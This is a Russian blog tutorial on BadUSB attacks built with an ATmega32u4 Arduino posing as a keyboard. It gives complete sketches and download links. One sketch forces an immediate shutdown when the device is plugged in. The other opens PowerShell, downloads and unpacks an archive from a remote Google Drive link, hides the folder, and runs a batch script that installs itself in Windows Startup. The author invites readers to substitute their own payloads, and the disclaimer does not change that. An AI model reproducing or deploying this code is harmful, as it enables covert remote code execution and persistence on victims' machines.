Для реализации примера нам понадобится:
Arduino на микроконтроллере atmega 32u4: http://ali.pub/3ncdj8
Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.
Важно:Данная статья создана исключительно для ознакомления, автор не несет ответственности за Ваши деяния и не побуждает повторять подобное. Статья создана исключительно в ознакомительных целях.
В этой статье я попробую рассказать о том как можно навредить вашему компьютеру через usb порт. Данный тип атаки на компьютер частенько используют хакеры и называется он Badusb.
BadUSB — класс хакерских атак, основанный на уязвимости USB устройств. Благодаря отсутствию защиты от перепрошивки в некоторых USB-устройствах, злоумышленник может видоизменить или полностью заменить оригинальную прошивку и заставить устройство имитировать любое другое устройство. BadUSB предназначен для доставки и исполнения вредоносного кода.
Так как микроконтроллер Atmega32u4 умеет работать как hit устройство (клавиатура или мышь) то можно написать код для имитации нажатия клавиш. Мы делали что-то подобное в статье когда использовали arduino leonardo и rfid метки для авторизации на компьютере. Тогда мы прикладывали авторизационную карточку и у нас вводился пароль от компьютера, как аз он вводился “имитацией нажатия клавиш” . Ссылка на статью тут.
И так, первый пример который я Вам покажу очень простой, мы сделаем так, что когда устройство подключим к компьютеру по usb, он у нас выключится. Назовем скетч “poweroff” Он выглядит следующим образом:
#include <Keyboard.h> void setup() { Keyboard.begin(); delay(3000);//Delay Keyboard.press(KEY_LEFT_GUI);//Кнопка win delay(500); Keyboard.press('r');//Win+R delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.println("cmd"); // вызываем командную строку Keyboard.press(KEY_RETURN);//Enter delay(500); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("shutdown -s -f -t 0"); //Shutdown Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.end(); } void loop() { }
Данная программа при подключении к компьютеру вызывает командную строку и вводит команду “shutdown -s -f -t 0”, что приводит к выключению компьютера. Но есть одно но программа все корректно введет, если будет стоять английская раскладка клавиатуры. Существует несколько вариантов обхода данного неудобства, но пока я не буду Вам о них рассказывать, хватит для первого раза и этого. Данный скетч можно скачать по ссылке: https://yadi.sk/d/vha87lq2gB3nmQ
Еще есть вариант для поиграться, это вариант от AlexGyver он там делает из такого устройства имитацию разных нажатий и это будет очень раздражать. Ссылка.
С простыми примерами разобрались, теперь давайте немного усложним, а именно при подключении устройства к компьютеру устройство скачает архив с удаленного сервера, разархивирует из него два .bat файла, и запустит один из них. Тот .bat файл который мы запустим копирует второй файл в автозагрузку. BAT файл который мы отправим в автозагрузку будет при каждом включении компьютера создавать на рабочем столе текстовый файл с сообщением test. Естественно вы можете заменить .bat файлы на свои и сделать что-то другое, я лишь расскажу о способе доставки скриптов на Ваш компьютер для того чтоб Вы не допустили такого с Вашим ПК.
Итак скетч выглядит следующим образом:
#include <Keyboard.h> void setup(){ Keyboard.begin(); delay(2000); createFolder(); getFiles(); setUpFiles(); } void loop(){} void winPlusR() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(45); Keyboard.releaseAll(); delay(100); } void createFolder(){ winPlusR(); // запусаем командную строку Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); // переходим надиск C:\ Keyboard.println("cd C:/"); Keyboard.write(KEY_RETURN); delay(100); // создаём папку "Downloads" Keyboard.println("mkdir Downloads"); Keyboard.write(KEY_RETURN); delay(100); // закрываем окно Keyboard.println("exit"); Keyboard.write(KEY_RETURN); delay(2000); } void getFiles(){ winPlusR(); // открываем powershell Keyboard.println("powershell"); Keyboard.write(KEY_RETURN); delay(1000); // переходим в папку Downloads Keyboard.println("cd C:/Downloads/"); Keyboard.write(KEY_RETURN); delay(1000); // задаём адрес для скачивания Keyboard.println("$download_url = 'https://drive.google.com/uc?authuser=0&id=1F6rZPuMAb5MZlHoc3lAgvXUCr42cpn7W&export=download'"); Keyboard.write(KEY_RETURN); delay(1000); // задаём локальный путь для сохранения файла Keyboard.println("$local_path = 'C:/Downloads/arch.zip'"); Keyboard.write(KEY_RETURN); delay(1000); // запускаем веб клиент Keyboard.println("$WebClient = New-Object System.Net.WebClient"); Keyboard.write(KEY_RETURN); delay(500); // качаем архив Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)"); Keyboard.write(KEY_RETURN); delay(1250); // распаковываем его Keyboard.println("Expand-Archive arch.zip"); Keyboard.write(KEY_RETURN); delay(750); // закрываем окно Keyboard.println("exit"); Keyboard.write(KEY_RETURN); delay(200); } void setUpFiles(){ winPlusR(); // открываем командную строку Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(100); // переходим на диск C:\ Keyboard.println("cd C:/"); Keyboard.write(KEY_RETURN); delay(100); // делаем папку Downloads невидимой для пользователя Keyboard.println("attrib +h Downloads"); Keyboard.write(KEY_RETURN); delay(100); // Делаем файлы в папке Downloads невидимыми Keyboard.println("attrib +h Downloads/"); Keyboard.write(KEY_RETURN); delay(100); //Переходим в разархивированную папку Keyboard.println("cd C:/Downloads/arch/"); Keyboard.write(KEY_RETURN); //Запускаем скрипт "copy.bat" Keyboard.println("copy.bat"); Keyboard.write(KEY_RETURN); // прописываем в автозагрузку //Keyboard.println("copy arch.bat C:/Users/оператор/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup "); //Keyboard.write(KEY_RETURN); delay(250); // стираем написанное и закрываем cmd Keyboard.println("cls && exit"); Keyboard.write(KEY_RETURN); }
Скетч можно скачать по ссылке:https://yadi.sk/d/stIfN2CLADi73w
На этом пока все, если тема интересна, то пишите предложения в комментариях или в комментариях под видео.
Видео с демонстрацией работы: